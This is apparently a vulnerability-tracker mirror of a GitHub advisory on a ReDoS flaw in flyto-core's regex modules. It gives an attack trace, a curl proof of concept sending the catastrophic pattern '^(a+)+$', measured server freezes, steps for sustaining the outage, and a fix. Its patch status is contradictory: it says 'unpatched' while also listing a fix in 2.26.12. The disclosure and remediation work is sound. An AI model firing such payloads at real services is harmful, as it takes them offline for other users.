GHSA-V468-P4JX-7VJ3
Regular expression denial of service (ReDoS) in `regex.match` / `regex.extract` — ineffective timeout freezes the whole server
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-V468-P4JX-7VJ3 divulgada · CVSS 6.5 (GitHub) | |
| Remediación | Parche 2.26.12 | flyto-core · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Impact
The `regex.match` and `regex.extract` modules compile the user-controlled `pattern` directly with `re.compile(pattern, flags)` and run `re.finditer` / `re.search` over the user-controlled `text` (`regex/match.py:121,131`). Python's standard `re` module is backtracking-based, so catastrophic patterns (e.g. `^(a+)+$`) exhibit exponential runtime on crafted inputs. Critically, the match executes synchronously and inline inside the async module function (no `await` point), so `asyncio.wait_for(timeout=5)` in `BaseModule._execute_with_resilience` (base.py:290) cannot interrupt a running match — the event loop is frozen for the full duration. Measured: a single `^(a+)+$` against 29 `a`s froze the event loop for 22 seconds (44s for 30 `a`s), starving every other request/heartbeat (0 ticks delivered during the run). An authenticated attacker (Bearer token) can repeat this to take the entire Execution API out of service. Both modules are enabled by default: not in the default denylist, `required_permissions=[]`.
Patches
- Unpatched: As of the report date, no official patch is available. Use the Workarounds below until a patch is released.
Workarounds
- Do not expose `regex.match` / `regex.extract` to untrusted callers; restrict via `FLYTO_MODULE_ALLOWLIST` or deny `regex.*` if the feature is not needed.
- Put a reverse proxy in front of the Execution API with request body-size limits and per-client rate limiting.
- Deploy on a multi-process/multi-worker setup (e.g. several uvicorn workers) so a frozen worker still leaves others serving.
Attack Path (Validation Evidence)
[Entry Point] POST /v1/execute (routes/modules.py:94, Depends(require_auth))
↓ body: {module_id: "regex.match", params: {text, pattern}}
[Auth] require_auth — Bearer token (fail-closed)
[Policy] module_filter.is_allowed("regex.match") — not in default denylist → allowed
[Chokepoint] enforce_module_policy() — required_permissions=[] → allowed
[Vulnerable] regex_match() (match.py:104)
↓ pattern = params['pattern']; text = params['text'] (both user-controlled)
[Compile] regex = re.compile(pattern, flags) (match.py:121)
↓ ✗ only catches re.error syntax errors; no complexity/length limits
[Sink] list(regex.finditer(str(text))) (match.py:131)
↓ ✗ synchronous; catastrophic backtracking is exponential; event loop blocked
[Timeout] base.py:290 asyncio.wait_for(..., timeout=5.0) — callback cannot fire while blocked → ineffective
↓
[Impact] Event loop frozen 22s+; all concurrent requests starved — whole-server DoSTaint Flow (Validation Evidence)
Source: params['pattern'] / params['text'] (API-controlled, token required)
↓ type: string, fully controllable
[Transform] re.compile(pattern, flags) (match.py:121)
↓ ✗ no sanitization — no pattern length cap, no complexity detection
[Transform] list(regex.finditer(str(text))) (match.py:131)
↓ ✗ synchronous CPU-bound — inline in async body; event loop never yields
Sink: finditer catastrophic backtracking — 100% CPU, event loop frozen
↓
Impact: ReDoS — whole service unavailable (5s timeout backstop ineffective)Sanitization verdict: ABSENT — no length/complexity limits; the `timeout_ms=5000`-driven `asyncio.wait_for` is unreliable against synchronous work.
Proof of Concept
Request
TOKEN=$(cat ~/.flyto/.api-token-8333)
# Catastrophic backtracking: pattern=^(a+)+$ text='a'*30 + 'b'
curl -s -X POST http://127.0.0.1:8333/v1/execute \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{
"module_id": "regex.match",
"params": {"text": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaab", "pattern": "^(a+)+$"}
}'
# The server event loop is frozen for tens of seconds; /health and all other
# requests hang during that window.Observed results (event-loop freeze; timeout ineffective)
n=28: wait_for(5s) fired at 5s but the match continued, wall=11.02s ← timeout reports but does not abort
n=30: wall=44.01s ← 44 seconds!
# Exact simulation (same as regex/match.py:131 — inline synchronous re):
module result=[] wall_time=22.21s
heartbeat ticks delivered while regex ran: 0
=> 5s timeout NOT enforced; event loop frozen ~22s; heartbeat (all other requests) starved.Key point: in the exact simulation the regex runs synchronously inside the event loop, so the `wait_for` timeout callback never runs; the loop is frozen until the match ends (22–44s). One request starves every in-process request (including other users and `/health`).
Reproduction Steps
- Start `flyto serve` with default configuration.
- Read the token and call `POST /v1/execute` with `module_id=regex.match`, `params={"text": "a"*30+"b", "pattern": "^(a+)+$"}`.
- Concurrently issue `curl http://127.0.0.1:8333/health` and observe it hangs until the regex finishes.
- Repeat to sustain denial of service.
Affected Component
- File: `src/core/modules/atomic/regex/match.py:104-135`, `src/core/modules/atomic/regex/extract.py:94-122`
- Function: `regex_match(context)`, `regex_extract(context)` (modules `regex.match` / `regex.extract`)
- Permission gate: `required_permissions=[]`, not in the default denylist → enabled by default
- Why the mitigation fails: `timeout_ms=5000` is enforced via `asyncio.wait_for` (base.py:290), but `re` matching is synchronous and inline with no `await` point, so the timeout task cannot run while the loop is blocked.
Fix Recommendation
# regex/match.py / extract.py — root cause: synchronous backtracking + unbounded input
+ import re as _re # or switch to the third-party regex module
+
+ _MAX_PATTERN_LEN = 256 # cap pattern length
+ _MAX_TEXT_LEN = 64 * 1024 # cap input text length
+
async def regex_match(context):
...
+ if len(pattern) > _MAX_PATTERN_LEN:
+ raise ValidationError("pattern too long", field="pattern")
+ if len(str(text)) > _MAX_TEXT_LEN:
+ raise ValidationError("text too long", field="text")
# Recommended: use the regex module (pip install regex), which supports a timeout
+ try:
+ from regex import compile as _rcompile
+ regex = _rcompile(pattern, flags, timeout=0.1) # 0.1s match timeout
+ except ImportError:
+ regex = re.compile(pattern, flags)Three layers of defense: (1) root cause — use the `regex` module with a match `timeout` (interruptible); (2) input limits — cap `pattern` and `text` lengths to prevent large backtracking inputs; (3) backstop — run matches in a `run_in_executor` thread pool and discard on timeout so the event loop is never blocked (the current `asyncio.wait_for` approach is ineffective for synchronous work).
References
- CWE-1333: Inefficient Regular Expression Complexity
https://cwe.mitre.org/data/definitions/1333.html - OWASP ReDoS attack description
https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS - Python `regex` module (supports timeout)
https://pypi.org/project/regex/ - ReDoS incidents (Cloudflare / StackOverflow)
https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiflyto-core |
Corregida | 2.26.12 | 0 d | 2.41.0 no afectada |
2.26.12Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/flytohub/flyto-core/security/advisories/GHSA-v468-p4jx-7vj3Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
